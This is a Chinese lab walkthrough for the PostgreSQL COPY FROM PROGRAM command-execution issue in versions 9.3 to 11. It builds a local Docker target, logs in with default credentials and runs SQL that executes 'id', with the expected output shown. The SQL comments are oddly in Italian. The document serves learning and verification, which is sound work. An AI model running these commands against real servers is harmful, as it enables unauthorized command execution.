PostgreSQL 是一个强大的开源关系数据库管理系统。存在于 9.3 到 11 版本中的一个漏洞允许管理员或拥有 COPY TO/FROM PROGRAM 权限的用户在系统上执行任意命令。
docker-compose.yml)创建包含以下内容的 docker-compose.yml 文件:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
使用以下命令启动容器:
docker compose up -d
验证容器是否正在运行:
docker ps
输出应显示 PostgreSQL 容器正在监听端口 5432。
如果你没有安装 psql 客户端,可以通过以下方式安装:
apt-get install postgresql-client
直接从 Kali 连接数据库:
psql -h localhost -p 5432 -U postgres
系统会提示你输入密码,请输入:
postgres
连接到 PostgreSQL 控制台后,执行以下命令以利用漏洞:
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
你可以直接从命令行执行所有操作:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
如果漏洞利用成功,你应该看到类似以下的输出:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
按 \q 退出:
\q
此漏洞允许在管理员权限下执行任意命令。请仅在受控环境中用于学习或验证目的。在未经授权的系统上利用此漏洞是违法的。